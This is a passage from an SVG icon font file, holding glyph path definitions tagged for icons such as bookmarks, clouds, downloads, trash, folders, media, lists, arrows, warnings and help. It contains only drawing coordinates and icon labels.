		c0-9.162, 5.578-17.382, 14.067-20.81l 178.819-71.523c0,0, 3.674-1.187, 4.346-1.322C 221.088-41.443, 222.544-41.6, 224-41.6
		c 1.434,0, 2.912,0.157, 4.346,0.448c 0.672,0.134, 4.346,1.344, 4.346,1.344l 178.797,71.501C 420.022,35.098, 425.6,43.318, 425.6,52.48L 425.6,339.2 
		C 425.6,346.637, 421.904,353.581, 415.766,357.747z M 201.6,4.23l-143.36,57.344L 58.24,312.634 L 201.6,255.267L 201.6,4.23 z M 389.76,61.552l-143.36-57.344L 246.4,255.267 l 143.36,57.366L 389.76,61.552 z
		 M 362.88,144.992l-89.622-35.862l0-30.33 l 89.622,35.862L 362.88,144.992 z M 362.88,238.042l-89.622-35.84L 273.258,171.872 l 89.622,35.84L 362.88,238.042 z" data-tags="book, notebook, reading, open" />
<glyph unicode="&#xe37c;" d="M 324.8,384l-94.080,0 C 218.355,384, 212.8,373.965, 212.8,361.6l 44.8,0 c 12.387,0, 22.4-10.035, 22.4-22.4l0-277.76 l 67.2-80.64L 347.2,361.6 C 347.2,373.965, 337.187,384, 324.8,384z M 212.8,316.8L 118.72,316.8 
	C 106.355,316.8, 100.8,306.765, 100.8,294.4l0-358.4 l 67.2,80.64l 67.2-80.64L 235.2,294.4 C 235.2,306.765, 225.187,316.8, 212.8,316.8z" data-tags="bookmarks, ribbons" />
<glyph unicode="&#xe37d;" d="M 282.24,361.6L 161.28,361.6 C 148.893,361.6, 143.36,351.565, 143.36,339.2l0-380.8 l 80.64,80.64l 80.64-80.64L 304.64,339.2 C 304.64,351.565, 294.605,361.6, 282.24,361.6z" data-tags="bookmark, ribbon" />
<glyph unicode="&#xe37e;" d="M 340.771,212.886c-6.16,0-12.23-0.538-18.122-1.523c-14.694,48.048-60.211,83.059-114.15,83.059c-65.811,0-119.146-52.147-119.146-116.48
		c0-5.734, 0.448-11.379, 1.277-16.912C 87.472,161.389, 84.291,161.635, 81.021,161.635C 36.288,161.635,0,126.154,0,82.429
		c0-43.747, 36.288-79.206, 81.021-79.206L 192.64,3.222 l0,85.12 L 145.6,88.342 l 78.4,103.040l 78.4-103.040l-47.040,0 l0-85.12 l 85.389,0 c 59.248,0, 107.229,46.95, 107.229,104.832
		C 448,165.958, 399.997,212.886, 340.771,212.886z" data-tags="upload, cloud, load" />
<glyph unicode="&#xe37f;" d="M 340.771,212.886c-6.16,0-12.23-0.538-18.122-1.523c-14.694,48.048-60.211,83.059-114.15,83.059c-65.811,0-119.146-52.147-119.146-116.48
		c0-5.734, 0.448-11.379, 1.277-16.912C 87.472,161.389, 84.291,161.635, 81.021,161.635C 36.288,161.635,0,126.154,0,82.429
		c0-43.747, 36.288-79.206, 81.021-79.206l 259.75,0 c 59.248,0, 107.229,46.95, 107.229,104.832C 448,165.958, 399.997,212.886, 340.771,212.886z" data-tags="cloud, weather, storage" />
<glyph unicode="&#xe380;" d="M 418.522,128.685l-70.515,167.821c-5.555,11.2-20.339,20.362-32.861,20.362L 269.248,316.867 L 277.76,225.811L 338.24,225.811 L 224,131.059L 109.76,225.811l 60.48,0 
		l 8.512,91.034L 132.877,316.845 c-12.499,0-27.283-9.162-32.861-20.362l-70.515-167.821c-5.6-11.2-8.467-30.464-6.429-42.829l 15.232-82.566
		c 2.061-12.342, 13.955-22.445, 26.454-22.445l 318.506,0 c 12.522,0, 24.416,10.102, 26.477,22.445l 15.232,82.566
		C 426.989,98.198, 424.122,117.485, 418.522,128.685z M 387.968,69.862l-5.779-33.645c-1.747-12.925-13.395-23.498-25.85-23.498L 91.661,12.72 
		c-12.477,0-24.125,10.573-25.85,23.498l-5.802,33.645c-1.725,12.925, 7.078,23.498, 19.555,23.498l 288.87,0 
		C 380.934,93.338, 389.715,82.787, 387.968,69.862z" data-tags="install, download, store, storage, save" />
<glyph unicode="&#xe381;" d="M 339.853,339.2L 89.6,339.2 C 64.96,339.2, 44.8,319.040, 44.8,294.4l0-268.8 c0-24.64, 20.16-44.8, 44.8-44.8l 268.8,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 403.2,269.155 L 339.853,339.2z M 313.6,204.8c0-12.32-10.080-22.4-22.4-22.4L 156.8,182.4 
	C 144.48,182.4, 134.4,192.48, 134.4,204.8L 134.4,316.8 l 179.2,0 L 313.6,204.8 z M 291.2,294.4l-44.8,0 l0-89.6 l 44.8,0 L 291.2,294.4 z" data-tags="disk, save, floppy, store" />
<glyph unicode="&#xe382;" d="M 433.216,80.614l-71.322,47.981l-43.971,0 l 76.16-58.419l-79.408,0 c-2.285,0-4.323-1.165-5.376-2.979l-18.278-50.064L 156.979,17.133 l-18.301,50.064
	c-1.008,1.814-3.091,2.979-5.376,2.979L 53.917,70.176 l 76.182,58.419L 86.106,128.595 l-71.299-47.981c-10.618-6.339-16.957-20.966-14.112-32.458l 12.566-68.858
	c 2.845-11.514, 15.478-20.944, 28.022-20.944l 365.411,0 c 12.589,0, 25.2,9.43, 28.045,20.944l 12.566,68.858
	C 450.195,59.67, 443.834,74.275, 433.216,80.614z M 340.502,224.467L 266.56,224.467 l0,114.688 l-85.12,0 l0-114.688 L 107.52,224.467 l 116.48-109.312L 340.502,224.467z" data-tags="download, archive, store, save" />
<glyph unicode="&#xe383;" d="M 224,339.155l-116.48-109.312l 73.92,0 l0-114.688 l 85.12,0 l0,114.688 l 73.942,0 L 224,339.155z M 433.216,80.614l-71.322,47.981l-43.971,0 l 76.16-58.419l-79.408,0 
		c-2.285,0-4.323-1.165-5.376-2.979l-18.278-50.064L 156.979,17.133 l-18.301,50.064c-1.008,1.814-3.091,2.979-5.376,2.979L 53.917,70.176 l 76.182,58.419L 86.106,128.595 
		l-71.299-47.981c-10.618-6.339-16.957-20.966-14.112-32.458l 12.566-68.858c 2.845-11.514, 15.478-20.944, 28.022-20.944l 365.411,0 
		c 12.589,0, 25.2,9.43, 28.045,20.944l 12.566,68.858C 450.195,59.67, 443.834,74.275, 433.216,80.614z" data-tags="upload, load, import" />
<glyph unicode="&#xe384;" d="M 75.914,206.771l 24.685-217.482C 101.92-21.037, 151.782-54.995, 224-55.040c 72.218,0.045, 122.102,34.003, 123.424,44.33l 24.685,217.482
	C 334.387,185.67, 278.006,175.68, 224,175.68S 113.613,185.67, 75.914,206.771z M 294.941,341.171l-19.242,21.347C 268.285,373.069, 260.221,375.040, 244.518,375.040L 203.482,375.040 
	c-15.68,0-23.744-1.971-31.181-12.522L 153.082,341.171C 95.514,331.114, 53.76,304.435, 53.76,284.768l0-3.83 c0-34.63, 76.205-62.72, 170.24-62.72s 170.24,28.090, 170.24,62.72
	L 394.24,284.768 C 394.24,304.435, 352.509,331.114, 294.941,341.171z M 270.346,291.286L 242.301,321.28L 205.699,321.28 L 177.654,291.286L 139.574,291.286 c0,0, 41.709,49.728, 47.286,56.47
	C 191.117,352.909, 195.485,354.88, 201.13,354.88l 45.763,0 c 5.645,0, 9.99-1.971, 14.269-7.123c 5.555-6.742, 47.286-56.47, 47.286-56.47L 270.346,291.286 z" data-tags="trash, bin, delete, remove, can, clear" />
<glyph unicode="&#xe385;" d="M 380.083,272c0,22.4-22.288,22.4-22.288,22.4L 90.205,294.4 c0,0-22.288,0-22.288-22.4l0-22.4 l 312.166,0 L 380.083,272 z M 313.174,339.2L 134.803,339.2 c0,0-22.288,0-22.288-22.4l 222.97,0 
		C 335.485,339.2, 313.174,339.2, 313.174,339.2z M 424.659,249.6c-13.194,13.261-13.194,13.261-13.194,13.261L 411.466,227.2 L 36.512,227.2 L 36.512,262.861 c0,0,0,0-13.194-13.261
		S 0.672,232.778, 6.003,204.778C 11.267,176.89, 36.87,23.898, 40.656,3.2c 4.189-22.714, 27.261-22.4, 27.261-22.4l 312.166,0 c0,0, 23.072-0.314, 27.261,22.4
		c 3.808,20.698, 29.389,173.69, 34.675,201.578C 447.328,232.778, 437.875,236.339, 424.659,249.6z M 313.174,128.64c0,0,0-22.4-22.31-22.4L 157.114,106.24 
		c-22.288,0-22.288,22.4-22.288,22.4l0,44.8 l 31.226,0 L 166.051,137.6 l 115.875,0 L 281.926,173.44 l 31.27,0 L 313.197,128.64 z" data-tags="archive, drawer, cabinet, files, category" />
<glyph unicode="&#xe386;" d="M 427.168,227.2L 20.832,227.2 C 0.224,227.2-0.829,217.165, 0.314,204.89l 18.48-201.779C 19.914-9.165, 22.826-19.2, 43.411-19.2l 361.2,0 
		c 21.011,0, 23.498,10.035, 24.618,22.31l 18.48,201.779C 448.806,217.165, 447.798,227.2, 427.168,227.2z M 412.25,276.48C 409.786,286.336, 397.578,294.4, 385.168,294.4l-152.634,0 
		C 220.102,294.4, 202.765,301.501, 193.962,310.214L 180.611,323.386C 171.83,332.099, 154.47,339.2, 142.061,339.2L 69.126,339.2 C 56.717,339.2, 45.427,329.187, 44.061,316.934L 37.52,258.56
		l 379.254,0 L 412.25,276.48z" data-tags="folder, category, directory" />
<glyph unicode="&#xe387;" d="M 336,361.6L 112,361.6 C 87.36,361.6, 67.2,341.44, 67.2,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 224,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 380.8,316.8 C 380.8,341.44, 360.662,361.6, 336,361.6z M 286.63,148.33
		c-5.309-8.288-8.131-4.749-6.541,0c 4.211,12.499, 4.054,50.333-31.181,55.866l0-116.771 c0-21.773-12.544-35.437-39.2-43.994
		c-25.894-8.288-54.88,0.336-61.667,18.95c-6.765,18.592, 8.467,41.216, 34.026,50.534c 14.269,5.174, 28.739,5.13, 39.894,0.806L 221.962,278.451 l 26.947,0 
		C 248.909,250.16, 324.643,207.466, 286.63,148.33z" data-tags="music, song, sound" />
<glyph unicode="&#xe388;" d="M 443.52,272L 443.52,298.88 C 443.52,308.781, 435.478,316.8, 425.6,316.8L 22.4,316.8 C 12.499,316.8, 4.48,308.781, 4.48,298.88L 4.48,272 l 44.8,0 l0-44.8 l-44.8,0 l0-44.8 l 44.8,0 l0-44.8 l-44.8,0 l0-44.8 l 44.8,0 l0-44.8 l-44.8,0 l0-26.88 
		C 4.48,11.219, 12.499,3.2, 22.4,3.2l 403.2,0 c 9.878,0, 17.92,8.019, 17.92,17.92L 443.52,48 l-44.8,0 l0,44.8 l 44.8,0 l0,44.8 l-44.8,0 L 398.72,182.4 l 44.8,0 L 443.52,227.2 l-44.8,0 L 398.72,272 L 443.52,272 z M 174.72,92.8L 174.72,227.2 l 112-67.2L 174.72,92.8z" data-tags="video, movie, play, film" />
<glyph unicode="&#xe389;" d="M 383.6,223.325l-45.83,126.246c-3.382,9.318-13.328,14.246-22.154,11.021L 11.043,249.421C 2.195,246.218-2.262,236.048, 1.12,226.73
		l 48.317-133.101L 49.437,164.973 c0,32.189, 25.715,58.352, 57.366,58.352l 80.483,0 l 95.984,67.379l 55.552-67.379L 383.6,223.325 z M 430.931,182.915L 106.803,182.915 
		c-9.408,0-17.069-8.042-17.069-17.965l0-211.030 c0-9.901, 7.638-17.965, 17.069-17.965l 324.128,0 c 9.43,0, 17.069,8.042, 17.069,17.965L 448,164.973 
		C 448,174.874, 440.362,182.915, 430.931,182.915z M 406.202-19.133L 137.514-19.133 l0,38.506 l 41.328,96.208l 62.026-76.989l 58.173,59.629l 74.794,26.992l 32.368-72.173
		L 406.202-19.133 z" data-tags="pictures, images, photos" />
<glyph unicode="&#xe38a;" d="M0,272l0-224 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,272 c0,24.64-20.16,44.8-44.8,44.8L 44.8,316.8 C 20.16,316.8,0,296.64,0,272z M 403.2,272l0-224 L 44.8,48 L 44.8,272 L 403.2,272 z" data-tags="landscape, frame, document" />
<glyph unicode="&#xe38b;" d="M 434.515,217.926L 267.747,262.592L 238.56,371.501c-2.442,9.094-12.186,14.403-21.773,11.827L 13.507,328.874
	C 3.92,326.32-1.859,316.845, 0.56,307.75l 72.33-269.965c 2.442-9.094, 12.186-14.403, 21.75-11.827l 80.931,21.683l-11.043-41.171
	c-2.442-9.117, 3.338-18.57, 12.925-21.146l 181.664-48.675c 9.587-2.554, 19.331,2.733, 21.773,11.827l 66.55,248.326
	C 449.882,205.898, 444.102,215.373, 434.515,217.926z M 36.602,302.643l 175.37,46.95l 64.938-242.323l-175.392-46.95L 36.602,302.643z M 351.21-29.616
	l-152.656,41.754L 210.56,57.005l 87.382,23.408c 9.587,2.576, 15.389,12.029, 12.947,21.146l-33.779,126.045l 133.19-36.534L 351.21-29.616z" data-tags="docs, documents, files" />
<glyph unicode="&#xe38c;" d="M 336,361.6L 112,361.6 C 87.36,361.6, 67.2,341.44, 67.2,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 224,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 380.8,316.8 C 380.8,341.44, 360.64,361.6, 336,361.6z M 336,3.2L 112,3.2 L 112,316.8 l 224,0 L 336,3.2 z" data-tags="document, portrait, frame" />
<glyph unicode="&#xe38d;" d="M 336,361.6L 112,361.6 C 87.36,361.6, 67.2,341.44, 67.2,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 224,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 380.8,316.8 C 380.8,341.44, 360.64,361.6, 336,361.6z M 130.189,268.214l 187.6,0 l0-39.2 L 130.189,229.014 L 130.189,268.214 
	z M 317.789,53.152L 130.189,53.152 l0,39.2 l 187.6,0 L 317.789,53.152 z M 318.326,140.512L 130.726,140.512 l0,40.32 l 187.6,0 L 318.326,140.512 z" data-tags="text, file, document" />
<glyph unicode="&#xe38e;" d="M 161.795,140.512l 125.44,0 l0,40.32 l-125.44,0 L 161.795,140.512 z M 336,361.6L 112,361.6 C 87.36,361.6, 67.2,341.44, 67.2,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 224,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 380.8,316.8 C 380.8,341.44, 360.64,361.6, 336,361.6z
		 M 336,3.2L 112,3.2 L 112,316.8 l 224,0 L 336,3.2 z M 286.72,268.214L 161.28,268.214 l0-39.2 l 125.44,0 L 286.72,268.214 z M 286.72,92.352L 161.28,92.352 l0-39.2 l 125.44,0 L 286.72,92.352 z" data-tags="text, file, document" />
<glyph unicode="&#xe38f;" d="M 358.4,182.4L 89.6,182.4 c-12.365,0-22.4-10.035-22.4-22.4s 10.035-22.4, 22.4-22.4l 268.8,0 c 12.387,0, 22.4,10.035, 22.4,22.4S 370.787,182.4, 358.4,182.4z M 89.6,227.2l 268.8,0 c 12.387,0, 22.4,10.035, 22.4,22.4
		s-10.013,22.4-22.4,22.4L 89.6,272 C 77.235,272, 67.2,261.965, 67.2,249.6S 77.235,227.2, 89.6,227.2z M 358.4,92.8L 89.6,92.8 c-12.365,0-22.4-10.013-22.4-22.4s 10.035-22.4, 22.4-22.4l 268.8,0 c 12.387,0, 22.4,10.013, 22.4,22.4
		S 370.787,92.8, 358.4,92.8z" data-tags="list, menu, options, lines" />
<glyph unicode="&#xe390;" d="M 165.76,294.4L 125.44,294.4 C 100.8,294.4, 89.6,283.2, 89.6,258.56l0-40.32 C 89.6,193.6, 100.8,182.4, 125.44,182.4l 40.32,0 C 190.4,182.4, 201.6,193.6, 201.6,218.24L 201.6,258.56 C 201.6,283.2, 190.4,294.4, 165.76,294.4z M 322.56,294.4L 282.24,294.4 
		C 257.6,294.4, 246.4,283.2, 246.4,258.56l0-40.32 C 246.4,193.6, 257.6,182.4, 282.24,182.4L 322.56,182.4 C 347.2,182.4, 358.4,193.6, 358.4,218.24L 358.4,258.56 C 358.4,283.2, 347.2,294.4, 322.56,294.4z M 165.76,137.6L 125.44,137.6 
		C 100.8,137.6, 89.6,126.4, 89.6,101.76L 89.6,61.44 C 89.6,36.8, 100.8,25.6, 125.44,25.6l 40.32,0 C 190.4,25.6, 201.6,36.8, 201.6,61.44L 201.6,101.76 C 201.6,126.4, 190.4,137.6, 165.76,137.6z M 322.56,137.6L 282.24,137.6 
		c-24.64,0-35.84-11.2-35.84-35.84L 246.4,61.44 c0-24.64, 11.2-35.84, 35.84-35.84L 322.56,25.6 c 24.64,0, 35.84,11.2, 35.84,35.84L 358.4,101.76 C 358.4,126.4, 347.2,137.6, 322.56,137.6z" data-tags="layout, grid, icons, squares" />
<glyph unicode="&#xe391;" d="M 156.8,182.4L 22.4,182.4 c-12.365,0-22.4-10.035-22.4-22.4s 10.035-22.4, 22.4-22.4l 134.4,0 c 12.365,0, 22.4,10.035, 22.4,22.4S 169.165,182.4, 156.8,182.4z M 156.8,92.8L 22.4,92.8 c-12.365,0-22.4-10.013-22.4-22.4s 10.035-22.4, 22.4-22.4l 134.4,0 
		c 12.365,0, 22.4,10.013, 22.4,22.4S 169.165,92.8, 156.8,92.8z M 434.56,182.4L 358.4,182.4 L 358.4,258.56 C 358.4,270.925, 348.387,272, 336,272s-22.4-1.075-22.4-13.44L 313.6,182.4 l-73.92,0 C 227.293,182.4, 226.24,172.365, 226.24,160
		s 1.075-22.4, 13.462-22.4L 313.6,137.6 l0-76.16 c0-12.365, 10.013-13.44, 22.4-13.44s 22.4,1.075, 22.4,13.44L 358.4,137.6 l 76.16,0 c 12.365,0, 13.44,10.035, 13.44,22.4S 446.925,182.4, 434.56,182.4z M 156.8,272L 22.4,272 
		C 10.035,272,0,261.965,0,249.6s 10.035-22.4, 22.4-22.4l 134.4,0 c 12.365,0, 22.4,10.035, 22.4,22.4S 169.165,272, 156.8,272z" data-tags="add-to-list, plus, list" />
<glyph unicode="&#xe392;" d="M 112,92.8L 89.6,92.8 c-12.365,0-22.4-10.013-22.4-22.4s 10.035-22.4, 22.4-22.4l 22.4,0 c 12.365,0, 22.4,10.013, 22.4,22.4S 124.365,92.8, 112,92.8z M 112,182.4L 89.6,182.4 c-12.365,0-22.4-10.035-22.4-22.4s 10.035-22.4, 22.4-22.4l 22.4,0 
	c 12.365,0, 22.4,10.035, 22.4,22.4S 124.365,182.4, 112,182.4z M 112,272L 89.6,272 C 77.235,272, 67.2,261.965, 67.2,249.6s 10.035-22.4, 22.4-22.4l 22.4,0 c 12.365,0, 22.4,10.035, 22.4,22.4S 124.365,272, 112,272z M 201.6,227.2l 156.8,0 
	c 12.387,0, 22.4,10.035, 22.4,22.4s-10.013,22.4-22.4,22.4L 201.6,272 C 189.235,272, 179.2,261.965, 179.2,249.6S 189.235,227.2, 201.6,227.2z M 358.4,182.4L 201.6,182.4 c-12.365,0-22.4-10.035-22.4-22.4s 10.035-22.4, 22.4-22.4l 156.8,0 
	c 12.387,0, 22.4,10.035, 22.4,22.4S 370.787,182.4, 358.4,182.4z M 358.4,92.8L 201.6,92.8 c-12.365,0-22.4-10.013-22.4-22.4s 10.035-22.4, 22.4-22.4l 156.8,0 c 12.387,0, 22.4,10.013, 22.4,22.4S 370.787,92.8, 358.4,92.8z" data-tags="list, menu, options, bullet" />
<glyph unicode="&#xe393;" d="M 313.6,267.52L 89.6,267.52 l0,44.8 L0,236.16l 89.6-71.68L 89.6,204.8 l 224,0 L 313.6,267.52 z M 448,79.36L 358.4,155.52l0-44.8 L 134.4,110.72 L 134.4,48 l 224,0 l0-40.32 L 448,79.36z" data-tags="switch, transfer, arrows" />
<glyph unicode="&#xe394;" d="M 107.878,160l 228.48,0 l0-107.52 l 62.72,0 L 399.078,177.92 c0,24.752-20.070,44.8-44.8,44.8l-246.4,0 l0,44.8 l-89.6-76.16l 89.6-71.68L 107.878,160 z" data-tags="back, arrow, left" />
<glyph unicode="&#xe395;" d="M 251.485,343.68c-99.59,0-180.566-79.789-182.986-179.088L 13.44,164.592 l 82.41-91.862l 82.387,91.862L 114.262,164.592 C 116.682,238.534, 177.162,297.76, 251.485,297.76
	c 75.846,0, 137.312-61.667, 137.312-137.76s-61.466-137.76-137.312-137.76c-30.419,0-58.509,9.946-81.267,26.723l-31.494-33.69
	C 169.814-9.12, 208.947-23.68, 251.485-23.68c 101.114,0, 183.098,82.23, 183.098,183.68C 434.56,261.45, 352.576,343.68, 251.485,343.68z M 235.2,258.56l0-105.056 l 67.312-67.312
	l 22.176,22.176L 266.56,166.496L 266.56,258.56 L 235.2,258.56 z" data-tags="history, time" />
<glyph unicode="&#xe396;" d="M 380.8,245.12l-85.12,0 L 295.68,182.4 l 67.2,0 l0-94.080 L 85.12,88.32 L 85.12,182.4 L 179.2,182.4 l0-49.28 l 89.6,80.64L 179.2,294.4l0-49.28 L 67.2,245.12 c-24.73,0-44.8-20.048-44.8-44.8L 22.4,70.4 c0-24.73, 20.070-44.8, 44.8-44.8l 313.6,0 c 24.752,0, 44.8,20.070, 44.8,44.8L 425.6,200.32 
	C 425.6,225.072, 405.552,245.12, 380.8,245.12z" data-tags="loop, arrow" />
<glyph unicode="&#xe397;" d="M 111.552,88.32L 111.552,205.248 L 156.8,205.248 L 78.4,294.4L0,205.248l 45.248,0 L 45.248,70.4 c0-24.73, 20.048-44.8, 44.8-44.8L 291.2,25.6 l-57.389,62.72L 111.552,88.32 z M 402.73,114.752L 402.73,249.6 c0,24.73-20.070,44.8-44.8,44.8L 156.8,294.4 
		l 57.366-62.72l 122.282,0 l0-116.928 L 291.2,114.752 L 369.6,25.6l 78.4,89.152L 402.73,114.752 z" data-tags="retweet, loop, arrows" />
<glyph unicode="&#xe398;" d="M 89.645,92.8l 181.462,0 l0-67.2 l 107.52,98.56l-107.52,98.538l0-67.2 l-163.52,0 L 107.587,294.4 L 44.845,294.4 l0-156.8 C 44.845,112.87, 64.893,92.8, 89.645,92.8z" data-tags="arrow, right" />
<glyph unicode="&#xe399;" d="M 358.445,245.12l-241.92,0 L 116.525,294.4 l-94.080-80.64l 94.080-80.64L 116.525,182.4 l 224,0 l0-94.080 l-291.2,0 L 49.325,25.6 l 309.12,0 c 24.73,0, 44.8,20.070, 44.8,44.8L 403.245,200.32 C 403.245,225.072, 383.152,245.12, 358.445,245.12z
			" data-tags="arrow, back, return" />
<glyph unicode="&#xe39a;" d="M 338.083,234.054L 353.92,234.054 l0-45.091 l 94.080,80.64l-94.080,80.64l0-53.469 l-15.837,0 c-82.723,0-129.382-61.309-170.554-115.405
	c-37.027-48.653-68.992-90.675-120.646-90.675L0,90.694 l0-62.742 l 46.883,0 c 82.746,0, 129.382,61.331, 170.576,115.427C 254.464,192.054, 286.429,234.054, 338.083,234.054z
	 M 121.206,194.541c 3.517,4.57, 7.078,9.229, 10.685,13.955c 8.758,11.514, 18.010,23.654, 28.022,35.75C 130.323,271.888, 94.618,292.294, 46.883,292.294L0,292.294 l0-62.72 
	l 46.883,0 C 76.608,229.574, 99.814,215.619, 121.206,194.541z M 353.92,86.237l-15.837,0 c-31.517,0-55.686,15.658-78.176,38.931
	c-2.262-2.934-4.502-5.914-6.787-8.915c-9.878-12.947-20.518-26.902-32.234-40.678c 30.397-29.658, 67.222-52.058, 117.197-52.058L 353.92,23.517 l0-53.76 l 94.080,80.64
	l-94.080,80.685L 353.92,86.237 z" data-tags="shuffle, arrows" />
<glyph unicode="&#xe39b;" d="M 251.462,343.68c-99.568,0-180.544-79.789-182.986-179.088L 13.44,164.592 l 82.41-91.84l 82.387,91.84L 114.262,164.592 C 116.682,238.534, 177.162,297.76, 251.462,297.76
			c 75.869,0, 137.334-61.667, 137.334-137.76s-61.466-137.76-137.334-137.76c-30.397,0-58.486,9.946-81.245,26.723l-31.494-33.69
			C 169.792-9.12, 208.925-23.68, 251.462-23.68c 101.136,0, 183.12,82.23, 183.12,183.68C 434.56,261.45, 352.576,343.68, 251.462,343.68z" data-tags="ccw, rotate, arrow" />
<glyph unicode="&#xe39c;" d="M 196.515,343.68c 99.59,0, 180.566-79.789, 182.986-179.088L 434.56,164.592 l-82.41-91.862l-82.41,91.862l 63.974,0 C 331.318,238.534, 270.838,297.76, 196.515,297.76
			c-75.846,0-137.312-61.667-137.312-137.76s 61.466-137.76, 137.312-137.76c 30.419,0, 58.509,9.946, 81.267,26.723l 31.472-33.69
			C 278.186-9.12, 239.053-23.68, 196.515-23.68C 95.402-23.68, 13.44,58.55, 13.44,160C 13.44,261.45, 95.402,343.68, 196.515,343.68z" data-tags="cw, arrow, rotate" />
<glyph unicode="&#xe39d;" d="M 123.558,65.382c-50.669,54.499-49.773,139.888, 2.845,192.886c 21.549,21.683, 48.474,34.63, 76.474,38.886L 201.331,343.68
	C 162.042,338.909, 124.006,321.37, 93.878,291.040C 23.341,219.987, 22.512,105.344, 91.123,32.723l-38.998-39.267l 123.424-6.742l-0.336,130.682L 123.558,65.382z
	 M 272.429,333.264l 0.336-130.682l 51.677,52.035c 50.669-54.499, 49.795-139.888-2.845-192.886c-21.549-21.706-48.474-34.63-76.496-38.886l 1.546-46.502
	c 39.312,4.771, 77.347,22.31, 107.475,52.662c 70.515,71.030, 71.389,185.696, 2.733,258.294l 38.998,39.267L 272.429,333.264z" data-tags="cycle, refresh, synchronize, reload" />
<glyph unicode="&#xe39e;" d="M 437.069-18.797L 237.53,331.338C 234.774,336.176, 229.6,339.155, 224,339.155c-5.6,0-10.752-2.979-13.53-7.818L 10.954-18.797
		c-2.71-4.749-2.666-10.55, 0.112-15.254s 7.885-7.594, 13.395-7.594l 399.056,0 c 5.466,0, 10.595,2.89, 13.395,7.594
		C 439.69-29.347, 439.734-23.546, 437.069-18.797z M 248.64,3.155L 199.36,3.155 l0,44.8 l 49.28,0 L 248.64,3.155 z M 248.64,81.555L 199.36,81.555 l0,134.4 l 49.28,0 L 248.64,81.555 z" data-tags="warning, alert, exclamation" />
<glyph unicode="&#xe39f;" d="M 221.267,366.058c-113.814-1.523-204.848-95.021-203.325-208.835c 1.523-113.747, 95.021-204.803, 208.835-203.28
	c 113.77,1.523, 204.826,95.021, 203.28,208.835C 428.557,276.547, 335.059,367.581, 221.267,366.058z M 220.662,34.56L 219.52,34.56 c-17.517,0.515-29.882,13.44-29.389,30.71
	c 0.493,16.957, 13.149,29.299, 30.106,29.299l 1.030-0.022c 18.010-0.538, 30.24-13.328, 29.702-31.091C 250.477,46.454, 238,34.56, 220.662,34.56z
	 M 294.381,180.877c-4.144-5.846-13.194-13.126-24.618-22.019l-12.589-8.691c-6.899-5.376-11.066-10.416-12.611-15.366
	c-1.254-3.942-1.837-4.95-1.949-12.902l-0.022-2.038L 194.589,119.859 l 0.134,4.077c 0.582,16.71, 1.008,26.522, 7.93,34.653
	c 10.864,12.746, 34.832,28.179, 35.84,28.829c 3.427,2.598, 6.317,5.533, 8.49,8.669c 5.040,6.944, 7.258,12.432, 7.258,17.786
	c0,7.459-2.218,14.358-6.586,20.496c-4.211,5.936-12.208,8.938-23.766,8.938c-11.469,0-19.309-3.651-24.013-11.11
	C 195.014,224.512, 192.595,216.47, 192.595,208.227l0-2.061 l-49.504,0 l 0.090,2.15c 1.277,30.33, 12.096,52.147, 32.166,64.893C 187.936,281.341, 203.616,285.44, 221.894,285.44
	c 23.946,0, 44.195-5.824, 60.099-17.293c 16.128-11.626, 24.304-29.053, 24.304-51.766C 306.298,203.658, 302.288,191.718, 294.381,180.877z" data-tags="help, question" />
<glyph unicode="&#xe3a0;" d="M 315.616,333.958C 290.058,352.394, 258.003,361.6, 219.386,361.6C 189.997,361.6, 165.222,355.104, 145.085,342.157C 113.12,321.862, 96.141,287.411, 94.080,238.803l 74.054,0 
		c0,14.157, 4.122,27.798, 12.387,40.925s 22.288,19.69, 42.067,19.69c 20.093,0, 33.958-5.331, 41.53-15.971c 7.594-10.685, 11.379-22.49, 11.379-35.437
		c0-11.267-5.645-21.571-12.454-30.957c-3.741-5.466-8.691-10.483-14.806-15.098c0,0-40.163-25.76-57.814-46.458
		c-10.237-12.006-11.155-29.971-12.051-55.754c-0.067-1.837, 0.627-5.622, 7.056-5.622s 51.901,0, 57.613,0s 6.899,4.234, 6.989,6.093
		c 0.403,9.386, 1.456,14.179, 3.181,19.6c 3.248,10.237, 12.029,19.174, 21.93,26.858l 20.384,14.067c 18.39,14.336, 33.085,26.096, 39.558,35.325
		C 346.147,211.251, 353.92,229.933, 353.92,252.086C 353.92,288.262, 341.13,315.546, 315.616,333.958z M 218.198,49.702c-25.536,0.762-46.592-16.89-47.398-44.576
		c-0.806-27.664, 19.219-45.942, 44.755-46.704c 26.656-0.784, 47.152,16.307, 47.958,43.971C 264.298,30.080, 244.854,48.918, 218.198,49.702z" data-tags="question, help" />
<glyph unicode="&#xe3a1;" d="M 221.245,366.058c-113.792-1.523-204.826-95.021-203.302-208.835c 1.523-113.747, 95.021-204.803, 208.813-203.28
		c 113.792,1.523, 204.826,95.021, 203.302,208.835C 428.557,276.547, 335.037,367.581, 221.245,366.058z M 244.093,297.379c 20.944,0, 27.126-12.141, 27.126-26.051
		c0-17.36-13.91-33.421-37.632-33.421c-19.846,0-29.277,9.99-28.717,26.477C 204.87,278.294, 216.518,297.379, 244.093,297.379z M 190.378,31.2
		c-14.314,0-24.797,8.691-14.784,46.906l 16.419,67.738c 2.845,10.864, 3.315,15.21,0,15.21c-4.278,0-22.87-7.504-33.869-14.896l-7.146,11.715
		c 34.832,29.075, 74.883,46.144, 92.042,46.144c 14.314,0, 16.688-16.934, 9.542-42.986l-18.816-71.232c-3.315-12.589-1.882-16.934, 1.434-16.934
		c 4.278,0, 18.368,5.197, 32.211,16.083l 8.086-10.864C 241.651,44.237, 204.714,31.2, 190.378,31.2z" data-tags="info, about" />
<glyph unicode="&#xe3a2;" d="M 278.477,384c 30.016,0, 45.024-20.474, 45.024-43.859c0-29.21-26.074-56.246-59.987-56.246c-28.448,0-45.024,16.8-44.24,44.554
		C 219.274,351.856, 238.986,384, 278.477,384z M 186.122-64c-23.699,0-41.059,14.605-24.483,78.915l 27.194,114.038c 4.726,18.256, 5.51,25.581,0,25.581
